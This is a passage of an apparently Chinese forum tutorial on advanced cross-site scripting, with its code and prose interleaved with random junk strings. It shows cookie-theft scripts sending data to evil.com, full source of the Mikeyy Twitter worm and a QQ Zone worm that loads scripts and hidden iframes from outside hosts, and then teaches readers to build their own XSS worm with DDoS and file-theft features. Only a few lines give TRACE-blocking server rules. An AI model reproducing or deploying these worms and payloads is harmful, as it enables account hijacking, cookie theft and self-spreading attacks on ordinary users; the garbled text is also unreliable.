7 J5 b2 v7 A! i9 _8 L } catch(e) {}
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}" y ` [ F7 w/ ^) I
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xmlHttp=request;
5 {2 f3 L& e) p; I8 N; H' X' J# o' V
" N3 {" M9 ]" q8 h( a5 h3 MxmlHttp.open("TRACE","http://www.vul.com",false);& {7 `6 b% e$ {- e" g* W/ o
$ g0 H, @( V5 }, t5 H! \: @/ yxmlHttp.send(null);
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# E6 n! F! O' ZxmlDoc=xmlHttp.responseText;* \# y: Z8 b; `. p5 @1 {
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alert(xmlDoc);
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</script>
, r) f' a2 ]* ?复制代码但是许多网站并不支持TRACE调试命令,那么我们还可以通过访问phpinfo();页面,筛选带有COOKIE的字段值.<script>3 J0 E8 b0 \9 E) S, E; \. x) e$ {
_2 y4 m, S! N6 j- f& jvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");* {2 H7 `# v2 I5 v% y
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XmlHttp.open("GET","http://www.google.com",false);
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XmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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& p8 C! |" b) d0 z# GXmlHttp.send(null);
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, H) Z' _- d8 P1 @1 _5 S8 \$ nvar resource=xmlHttp.responseText7 L- I1 A) L- {5 i
; w' u* u Y3 Gresource.search(/cookies/);) R4 [/ K9 q0 ]5 V5 i
$ M2 N2 K$ X8 c- }. T2 ~& j4 i
......................
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4 q+ j* C. p6 q8 X. n+ ]</script>$ h+ W1 s$ L6 g$ N# f
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+ F7 Z, o7 u) A) i- ]3 b( ]* M5 T2 @! v3 n
) V7 w# h$ t- ]
如何防止对方采用TRACE访问你的网站?APACHE可以采用.htaccess来Rewrite TRACE请求
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2 |' v# s E8 V2 C7 ]3 M[code]
9 Y2 C% }9 s) k$ L( y+ E9 e; w
RewriteEngine On
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! u0 Q$ `4 E6 u3 `RewriteCond %{REQUEST_METHOD} ^TRACE
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RewriteRule .* - [F]# G- z* y2 O/ ~ B1 Y! C
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- |* f* v4 e7 MSquid可以添加以下信息到Squid configuration file (squid.conf),屏蔽TRACE请求
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- P$ S0 {1 s- I' y7 zacl TRACE method TRACE, w9 g+ E! [$ ]: A ^. }$ T
$ H+ Q! |7 n. M4 H
...
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/ l8 b! F: r7 v8 z- O5 A0 Nhttp_access deny TRACE- q: y% \+ A* \- V
复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
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$ P( l( m& Y9 a8 u5 C9 \1 gvar XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");$ f0 e! f) C$ h$ j0 r+ v: p% w
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XmlHttp.open("GET","http://www.google.com",false);/ @3 D" \/ s' d* D6 k
4 N: h% m$ |. G+ H3 w) mXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");
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( h. q& H0 Y# E* q! Z3 YXmlHttp.send(null);* P* {8 n6 S5 l, m' }! b+ |1 T3 N* m4 n
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</script>2 R, v- l! X+ ^3 ^& N4 P# ~
复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>
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var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
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XmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);9 Z' t- h" X G! w0 q$ A" ^
0 x6 J& Z j6 g# X' y) eXmlHttp.send(null);5 s+ [- [( _# j5 ]4 P
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<script>! }/ L" ~. ^5 u( j
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么." O/ `- e0 o* A7 d
复制代码案例:Twitter 蠕蟲五度發威
! |' P4 G+ m. k. s+ M. H2 N% J第一版:2 ]" b8 P. W* x1 d) a! c
下载 (5.1 KB)
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8 Z* q7 \ C! t1 H G# f6 天前 08:27
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: v2 U) {& O7 w% Q4 W第二版: 1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", " OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", " OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];
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2. $ w) |; ~0 }9 D: G1 S6 ^
6 F7 `* I' C& r& s0 @% [2 o1 o 3. function XHConn(){ 2 x1 Z( k0 |* d" I0 O
" H3 f- Q' s. p. `% \! Z; B 4. var _0x6687x2,_0x6687x3=false; 3 G# J( N, _, X; d8 Y. N, G
* X% D) T9 e8 I
5. try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); } ; J+ R. z; ]" g( H7 B3 b, O
7 g B0 h' w+ J: F6 z/ F# ]
6. catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); } + t, g( |$ N( b. U) D6 |* C' ?
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7. catch(e) { try { _0x6687x2= new XMLHttpRequest(); } & ?* ]% w3 K, S6 l6 D7 B! f0 u
) q9 }( Z- N) F5 E$ x. n: z 8. catch(e) { _0x6687x2=false; }; }; }; / i) R- a+ _: q8 C8 H M" d
复制代码第六版: 1. function wait() { 8 x, q( q8 p# X8 T7 W
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2. var content = document.documentElement.innerHTML;
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) v) U9 F4 X. w& N% M# s3 ?! Q 3. var tmp_cookie=document.cookie;
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4. var tmp_posted=tmp_cookie.match(/posted/);
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5. authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);
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0 }! U/ O# k7 j! p$ P 6. var authtoken=authreg.exec(content); ; @% i; T1 i6 `# z7 ~. a, N
& E4 @" Y, e$ e3 a' g 7. var authtoken=authtoken[1];
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8. var randomUpdate= new Array();
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9. randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy."; 8 N' n: }8 g$ a" ~; J
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10. randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";
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11. randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy."; & Q$ W# V) u9 i0 x2 u+ G% a! c
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12. randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy."; ' p2 z7 u# G8 l/ W2 N
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13. randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy."; , L- d3 ?$ T5 r& t$ C4 Y. @2 F
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14. randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy."; 0 h/ }% r8 ?9 F( ~$ y& |6 }6 s
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15. randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";
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16. randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy."; 7 z6 e3 h, h2 f3 Q4 ~$ v5 I' w
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17. randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";
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! P* [" E2 t7 u' t4 \3 H 18. randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";
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9 a3 h+ n; U1 N$ ^( p4 K( V/ } 19. randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";
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; q, q( J% N6 F y% m. t 20. randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";
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, H. J/ h" v. g) o8 G 21. randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";
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22. randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF"; 3 }+ ~2 M8 s2 R1 V
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23. randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";
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24.
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25. var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];
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26. var updateEncode=urlencode(randomUpdate[genRand]); ! A$ ^9 Y" z4 g4 v3 v- A. b
5 _ R. j& e% |8 m) H ~ 27.
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8 a6 R+ m# I( K5 ] 28. var ajaxConn= new XHConn(); " Q$ r/ {/ v/ E6 Z
; w0 O( q. M* }5 |3 H2 Y% U( s 29. ajaxConn.connect("/status/update"," OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true"); 9 ^2 M: `2 G+ Q0 H( \
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30. var _0xf81bx1c="Mikeyy";
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/ `0 P: i! x/ q% e/ E) @ 31. var updateEncode=urlencode(_0xf81bx1c); 1 Y- |: r* p# |! j
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32. var ajaxConn1= new XHConn();
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33. ajaxConn1.connect("/account/settings"," OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save"); 5 C6 s# b2 b8 [
' e5 ^6 S, E, b+ r' a. M 34. var genXSS="000; } #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333"; 3 y3 a5 o$ l+ h0 R" O
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35. var XSS=urlencode(genXSS); 0 ]6 f. t# ~( W. ?9 S# \" j% ?
' n: h5 X2 N6 }
36. var ajaxConn2= new XHConn(); ; n5 ]3 L! J0 \" V
+ [9 e& q3 i# Y) E5 s 37. ajaxConn2.connect("/account/profile_settings","" OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes"); 0 T$ _% H2 Q9 k8 ] U0 L
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q- P$ V$ c" B" ^, T 39. } ; * Z& d' ^4 V2 E- r. b
$ Z/ F1 ~7 J( ? 40. setTimeout(wait(),5250); + b- B. t& _/ P
复制代码QQ空间XSSfunction killErrors() {return true;}9 t# l/ Z" y* ^, m! g4 h
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window.onerror=killErrors;
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var shendu;shendu=4;/ w) O5 R+ o4 I4 W
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//---------------global---v------------------------------------------8 a$ I2 v# K2 w! N* M/ a) }# l1 {
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//通过indexOf函数得到URL中相应的字符串,用于判断是否登录的吧?
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' {+ Y5 b* c }+ l( T) z& z9 L, ]% Hvar visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
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; b/ |% Q8 V5 X' n! _! `0 L8 q9 f8 hvar myblogurl=new Array();var myblogid=new Array();
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var gurl=document.location.href;
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var gurle=gurl.indexOf("com/");
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6 B7 |5 ]% L9 Q" _/ M gurl=gurl.substring(0,gurle+3); + i t$ `' p* o# l7 l
" B0 y0 Y& e/ G8 S9 Z var visitorID=top.document.documentElement.outerHTML;1 D: A' ^' ]' Z9 D$ X
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var cookieS=visitorID.indexOf("g_iLoginUin = ");
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visitorID=visitorID.substring(cookieS+14);# w/ _. C% t( K5 h" X% B
6 z4 E: ]2 b( }+ U# u( S cookieS=visitorID.indexOf(",");
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) p u/ N) W) L7 @, F visitorID=visitorID.substring(0,cookieS);4 {7 A/ B' V( @9 o) M) H) N' t# H
: K- h( T4 f9 j get_my_blog(visitorID);
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DOshuamy();
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8 a: t# C, a) h//挂马
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9 x P% v5 E* T h$ y% U+ {7 Ifunction DOshuamy(){4 k! a' \7 N0 T: D& t" d
: q# F1 h5 J, J* E# a0 {var ssr=document.getElementById("veryTitle");: C0 M- E1 N5 V* R
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ssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");
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}
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0 s3 k/ ]4 S3 a( d) ]//如果创建XMLHttpRequest成功就跳到指定的URL去,这个URL是干什么的就不知道了,没看过,刷人气?5 \; S' C" Z8 ~0 r6 t+ l
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function get_my_blog(visitorID){
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7 f( x* |+ N7 r8 Q7 }4 | userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";8 M6 Z0 u+ v1 A6 \
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xhr=createXMLHttpRequest(); //创建XMLHttpRequest对象. P/ ?5 W" z+ t. j7 F; M* n
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if(xhr){ //成功就执行下面的
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: V& o! `( D* ?' j* C' ` xhr.open("GET",userurl,false); //以GET方式打开定义的URL
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' z! S# a: Q1 U5 P xhr.send();guest=xhr.responseText;3 W0 W; m; N0 V/ F5 f3 \4 r
7 I' s' w3 ]5 p8 B2 o1 Z/ H+ y0 s get_my_blogurl(guest); //执行这个函数. R$ {1 b) Z3 C& B8 g# U/ c
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}
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//这里似乎是判断没有登录的( y4 |( S( W r, v# B$ |6 M" Y) I y
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function get_my_blogurl(guest){1 q/ T5 G, Y. J& Q* v! D
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var mybloglist=guest;
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7 }: Q; t5 ~! [; z3 J var myurls;var blogids;var blogide;
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; t6 B: s# P( B for(i=0;i<shendu;i++){$ b( |$ ~5 E! j; C8 n
* z7 Q5 N1 M0 P; G myurls=mybloglist.indexOf('selectBlog('); //查找URL中"selectBlog"字符串,干什么的就不知道了7 k; n. E' b/ T3 U) k0 _
' b) X$ \, U. i' O( C# f if(myurls!=-1){ //找到了就执行下面的! A9 A1 h* |& H+ R/ {: f
4 ^2 P" W3 H4 {4 i mybloglist=mybloglist.substring(myurls+11);
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/ X7 P3 G0 a4 Z# r; W# F7 ]% Y myurls=mybloglist.indexOf(')');
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6 P2 {4 J' @* f* j, ~- H& c, N, K myblogid=mybloglist.substring(0,myurls); p! o- Y( ?1 V* F% P
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}else{break;}* A9 A& L& r q6 D* g7 W
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get_my_testself(); //执行这个函数
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}
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& u1 [: y9 c$ O5 @' k% ]
( Z9 Y' D7 s: y//这里往哪跳就不知道了
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function get_my_testself(){. N) v1 J- N, A7 W
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for(i=0;i<myblogid.length;i++){ //获得blogid的值& v4 h$ a% m: z, Y* c& `
: S- L! i0 f5 N: ?0 ^7 h var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();
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var xhr2=createXMLHttpRequest(); //创建XMLHttpRequest对象 B J" c% [2 ?' y
- K1 H ?* K% B
if(xhr2){ //如果成功
! x" Q0 v9 F. {* N- p1 h! x# E# k* I7 ^% U+ J( W* E
xhr2.open("GET",url,false); //打开上面的那个url
. z, _7 m! R0 O, J1 C6 j, R
5 b* P+ R; Z0 x8 Y% E0 C, R" [' v xhr2.send();
( J$ Y8 j4 J9 r3 O+ M! Z- h# G0 ?- H* m5 p1 ~. Z
guest2=xhr2.responseText;7 O3 g6 f! j4 ?
6 V/ t1 P& ^( P
var mycheckit=guest2.indexOf("baidu"); //找"baidu"这个字符串,找它做什么?
3 H: Y O% I K; Q* q
1 M$ f) b% V& B6 q) [ var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
5 O1 w3 E6 C4 b Q9 ?
7 J+ z6 k: u8 K2 ^) V% P& w if(mycheckmydoit!="-1"){ //返回-1则代表没找到
5 F5 B4 f$ ]& ?3 I$ z( a7 G% a3 G7 D8 X$ [
targetblogurlid=myblogid; * N) E; k. d: `3 @0 s* C; M0 R" j
+ _4 T s! K2 M9 \6 t
add_jsdel(visitorID,targetblogurlid,gurl); //执行它" Q5 u V# t9 p0 v9 k J
, H. A6 `$ k0 O5 a( H
break; C w6 U9 i! G: {( x
" d. ?- Q* e) V o3 p- v }
5 D0 h4 O5 r( U0 h4 T- M1 Z
1 e) g. T& z; b1 `: o if(mycheckit=="-1"){% R/ j: S9 X; Y) J
1 C3 ~; w% l* P' u4 g5 ] targetblogurlid=myblogid;* _8 L# ~% [* `( r! I# @
! b6 q y6 k8 i/ [ add_js(visitorID,targetblogurlid,gurl); //执行它" D& a, m* ~' M1 B
$ @. d5 v# d4 p8 W( v ^4 D; o9 F
break;
" @- T8 J1 J, O/ o% t
0 _& b \* X: N }! o( A/ Q- N" [4 f
5 Y5 |& q# M, o! j0 a3 m } ; @# P% S$ Y, n5 w6 B( p
( E5 Z! r' x6 W
}7 s( r5 ]) c9 U) P- b" h4 @ O# u r
7 N7 I! Q( F( d}
. _; s9 @3 u c7 M. @' U% q- G3 e% Z( q% Q2 ^
" Y3 j$ p- x u: D
& G3 _' Z0 U5 M' E" W1 s2 W//--------------------------------------
* o* C6 U& ^: B% _; a4 |1 ~8 `% F0 e6 L4 O+ v
//根据浏览器创建一个XMLHttpRequest对象 I1 e$ D6 B9 H0 o9 P$ S8 z
! J0 Z \# N; _2 afunction createXMLHttpRequest(){
& K, M! g% [) j: m/ a3 T
" u/ A7 m: q; n. O3 e( s- I: i var XMLhttpObject=null; ! W4 S7 v- o A3 q8 j' l
0 C2 }9 M# R" w5 d# u7 b
if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()} ; X$ d% o; o; s4 B
; r+ \2 c, H* |2 H$ B4 l) ^7 Z else ( K8 h$ Y8 {6 L9 C3 w1 [/ F
8 z6 P ?7 S; G2 }
{ var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP']; - i, F' E1 g, y( h8 j |
( m1 }3 \4 ]) F6 H! t8 W for(var i=0;i<MSXML.length;i++)
$ T3 K8 d5 U, Y: l& B# L5 d+ O" b
5 o" h$ ~; f x( ~; b9 O8 F {
* J0 |$ I8 c' S: e* @/ x( m4 h0 h4 M9 D
try : [. W% x4 ]6 _) l2 s/ t
1 _) Y# {# Z) ? O$ S {
0 c/ e0 x6 r3 s4 |( B. N8 _, t9 y8 x7 j% L# O' A
XMLhttpObject=new ActiveXObject(MSXML);
# H4 x/ q6 I. s
3 M4 c) x/ ?5 m" v8 g break;
4 |: X v& h% C% o/ t: F
2 D* S5 h9 Z( j( A- G }
& p6 ]) }9 x' L& ? c7 j
1 B" \3 q4 v; X7 \5 x; a% f catch (ex) { 3 K" c% f1 K7 ~1 S8 ~
+ o0 e8 x' P) g }
, |4 e" @ S0 C& o
6 D" ^4 o! g7 e% ?. [ }
$ O% \6 ? x/ b' u
+ D/ `: N8 Z0 |( a }
8 o6 g4 U1 h1 k& A3 O% c8 u
. d7 v- V% E. Q( ]/ s. J# M; Areturn XMLhttpObject;/ r* s2 c: S, L% V& q& S" ?9 Y
& l: R; \; X/ ]9 n9 C8 V
}
7 G. R. \+ [" N6 i* L5 c6 x$ H+ @9 x3 }$ \, z. v/ _ G' B' }
: I8 J S$ r' J7 _% ^" k# {* d/ [. x
, G) E7 J( Q2 ~1 G* M//这里就是感染部分了, w; i5 S/ `* q. @& n
) o' ^6 y% ?) Y' x( G6 ?* o
function add_js(visitorID,targetblogurlid,gurl){/ D- k4 P+ J4 X H, }
2 J* @4 E/ J3 Q) i. E0 E! |
var s2=document.createElement('script');
; i6 { P2 N; X' O1 ~! O" h' [8 @
& u/ g. E! o7 j' ^s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
$ |8 x% i) J1 [4 |5 A! M1 ^$ L9 x& W7 h1 X) O
s2.type='text/javascript';* P" ^( A! m b# O
4 i1 e) h& k1 I/ `5 ^5 X/ w
document.getElementsByTagName('head').item(0).appendChild(s2);
3 D/ `3 ~- e t' g5 p+ O9 B7 l- g3 @& H& H6 q5 ]% A
}
) S9 K+ i. S; b3 N: V* N! ^% O! I4 M+ S2 q; B
" s6 }7 _5 V3 K7 ~3 `
- V: V3 R' m- d* B* i" |
function add_jsdel(visitorID,targetblogurlid,gurl){: i# X& u+ \- U4 g c. ]9 j
& D! \: ~8 G. {6 f
var s2=document.createElement('script');) f& j( }6 b# D+ N; t( K! \% W* Q
8 e1 |% x2 w5 u2 g$ l7 h. @
s2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
- t1 E; C0 P3 T9 j4 m: l0 W
3 L1 g( |" F) r0 Ks2.type='text/javascript';) t1 X% ~; Q2 o: @) l
: R. u3 t( T0 O, J1 @document.getElementsByTagName('head').item(0).appendChild(s2);
3 }! d3 f( E5 c L" X% @$ r# D- G: i; l- Q" B+ J
}8 I; u% g& z! u J, h$ C
复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:. Y2 F5 K: Z; G2 r
1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)
$ c8 C# s' ]* U; Q% V
: b7 W% E+ A5 T: i {: V2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.), I+ n* B8 C: y6 Y" M, T; C1 b
; [ p3 S8 k' ]+ h2 ~) {, p! V
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~
. v# ~( e% C/ b# f' ?% u+ Z$ R/ t7 `& ^. q/ C$ J1 x1 f1 B
5 c7 Q7 q7 z6 M5 y6 ?1 F下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
, [ n; f! D$ M, `& N: p3 w- e
; Z6 Y" L, k1 ^" O2 ?/ u2 `; m; [首先,自然是判断不同浏览器,创建不同的对象var request = false;
$ c8 c0 }. p2 O3 v3 a/ S: Q7 W3 \, N) P# z* b
if(window.XMLHttpRequest) {% H5 n8 b8 S5 r; R. }; t) j
, k6 j! x8 W: U: ~) a- v4 y' A5 urequest = new XMLHttpRequest();# W; r2 I" t5 H+ D' h$ I3 `; `
/ B- |+ Q. D7 B
if(request.overrideMimeType) {
$ X' } a8 C p0 ^) B2 K) D
6 A* {, A7 S3 o' x- N, @( Frequest.overrideMimeType('text/xml');" {) O) x0 a& e
5 ~# V, S! n6 j- T" q8 c S}# d% @- `, T) N6 f6 u
, v1 D5 u r% F; C, p/ u} else if(window.ActiveXObject) {
' M# f6 O6 u; i0 O! ]2 Z, G" G6 o/ V; a1 j# ]: o* P6 Q+ ^# y7 P
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
5 @) M, ^3 D' g/ A. T5 B" ~) a5 ]: h) J
for(var i=0; i<versions.length; i++) {7 T8 l# N" c$ t
6 J9 y4 v1 n( I- ~$ G \try {
: O0 M7 ]: u& H4 f; i9 n/ x. ^0 A, K$ c5 |" B
request = new ActiveXObject(versions);
* t8 c, o4 g! Y$ N& x- G
' w; V* @$ A; k/ r} catch(e) {}
* [$ b! L, Y- _
( ~$ G' ?+ N) o: e}. p7 ?3 x; ~' q/ K4 C
6 }7 o1 e/ l. f5 V" ] y' K; B
}
0 F0 h9 C! E9 a/ e M m, Q c' z
xmlHttpReq=request;
3 O9 L2 G% a' |, ~复制代码可以此时添加判断浏览器具体型号和版本: function browserinfo(){: j3 r8 W! H- @& J) X
?! Q2 n4 l4 g var Browser_Name=navigator.appName;
9 I) ^: W$ b" }
7 y. ]6 T$ p9 |; e( c2 {8 D) _ var Browser_Version=parseFloat(navigator.appVersion);
8 k. P8 F) `, s: B4 n! i- Z8 U3 P" Z X" @5 d2 g
var Browser_Agent=navigator.userAgent; G7 x B# C( {/ d! b
1 |7 `5 z2 [/ k* f' u
, S' H% t4 A, k. y" v& T" @8 G8 r
! h; b% }3 A* z7 y. \, V: T, _ var Actual_Version,Actual_Name;+ D/ i2 D, b+ G% P) G6 N0 T
. \; V f. ]8 s" ]3 w* | 3 H0 h6 I( d* x8 H t
5 c( I, A; p- G9 F% J
var is_IE=(Browser_Name=="Microsoft Internet Explorer");# e+ _# n; ^* m. D7 o
' y; ? a8 S9 w4 j- s6 l7 Q3 N var is_NN=(Browser_Name=="Netscape");( O( t( V* s( H1 e% u
% B' g* E( W' p2 x) L" m var is_Ch=(Browser_Name=="Chrome");
" `4 g* B! j6 B( v, S7 [0 o S; {3 o! y- P) E" _- d- n
8 z- _9 E! ]) U1 y- i1 S
9 P% h# F6 I1 J: |- M c" r if(is_NN){
X& H: C% E) I
% e- V' M) ]% g; v' u2 q if(Browser_Version>=5.0){
4 t2 [8 R' q+ ?6 F8 \4 m; ^1 D! |
var Split_Sign=Browser_Agent.lastIndexOf("/");
0 n& ^2 t8 T& X
+ M2 y4 `2 G4 X/ z6 ?4 J var Version=Browser_Agent.indexOf(" ",Split_Sign);0 S3 s6 G: e [5 w/ q: G- K
. Z$ m: n# {; Y; Y) A var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);0 ] u# W0 d2 A2 L0 H4 f
& K# _" O7 L1 a h& F8 C$ g4 V
$ B3 R# X+ f8 v, M. l
9 r, ~5 { A: Y$ e
Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
7 M- Q$ z4 z9 T" ?+ {% q. B) O+ P# a
Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);9 S4 e! z/ A$ C, ]0 A4 ]# _ t
0 I5 y5 w4 H" O: e6 v7 m
}
& e2 p( t' i' a% D' z* S1 x- @% q5 a$ ^& Y" v" g1 z3 e
else{
) e* E. }3 X/ a$ k& _, R; a4 A ]3 {) N
4 S9 v( F2 y$ T" b6 C( z Actual_Version=Browser_Version;
? U4 o4 N, o. H% N
$ ]! C m: F( X& o* m# z Actual_Name=Browser_Name;! ^* \" s& c) o g. u' M
& O* e4 Z8 H/ x- {! x
}
3 O+ O/ ]% Q* o, P. U: {. t$ c# b* m* }+ d; q; @) `/ O2 O) _
}8 z$ S8 G$ @' }; P
) _/ o1 v7 \1 E2 `' Y else if(is_IE){$ f: L* b7 f& n! X8 d9 h0 F' ^
3 w& s' \( M4 F; {4 O7 Y6 C% [ var Version_Start=Browser_Agent.indexOf("MSIE");9 }. L3 u" O8 |7 g n1 B
$ P7 O0 A0 Q0 {8 F
var Version_End=Browser_Agent.indexOf(";",Version_Start);
$ J) a% I6 M5 y/ y4 C6 }# ~- z! R% x, ~4 |4 m5 i
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)2 A1 x* u9 x! Z5 c9 @
' f7 v& m0 K5 ^, K# o H" U Actual_Name=Browser_Name;7 F2 w, o p4 \/ Y* f8 D
3 ?0 q% h. J# W r
0 _+ H9 z: U1 S. |
7 Y* @/ p4 C1 x3 |8 Y# }: A if(Browser_Agent.indexOf("Maxthon")!=-1){
' {4 h- {/ S9 v' d3 _4 E, I( Q3 R n* g9 [1 D z
Actual_Name+="(Maxthon)";3 p) r0 c$ k. R
$ y4 S4 ?) E3 v1 e4 W) ?5 I- l }' Y. s! T* w% `3 o5 E
4 Q+ d; N& g" K else if(Browser_Agent.indexOf("Opera")!=-1){: L5 c9 y+ ^, U4 R; U# G3 B& Q
- F/ ?; G4 p1 }# a
Actual_Name="Opera";
7 [* {9 Q m* r: k4 [1 d0 j3 d2 f t$ }& F, ^6 {( `8 H
var tempstart=Browser_Agent.indexOf("Opera");' ^) Y, ]$ l# I( j6 G/ e; Q- K1 ?* S
, s. A) ]6 v3 X' z. z6 X- { var tempend=Browser_Agent.length;
5 t8 z+ k1 J! K# T0 u
- ~! V$ Z: s) g! d9 t8 I Actual_Version=Browser_Agent.substring(tempstart+6,tempend)
. q: b" a9 V9 K
' R* }' [9 c9 I }2 x3 B. t: R0 s6 c) |8 B! E) L* S
$ o5 C& Y/ Y2 @ Q6 G: D3 C
}" U0 g/ N8 n' p% I( K* [
1 b. p* a" I0 s else if(is_Ch){. `$ L& w- ]4 P" s# N: y* R9 l1 i! K
. G0 F$ L& r" ?; O/ c
var Version_Start=Browser_Agent.indexOf("Chrome");
3 k7 p- v' G8 }) h% z0 |4 z; u& N7 l a% i( ~
var Version_End=Browser_Agent.indexOf(";",Version_Start);: w) E# Y. V$ g
) `8 V& O, p1 E! S( \
Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
5 y# q2 {. E7 |! J" ?( V! J" ]" R, Q) @
Actual_Name=Browser_Name;
3 P" i( g3 }2 Z: j
, C5 S* ?9 u4 S
2 H' V+ R% J; \# h; l6 T7 x k% s- W
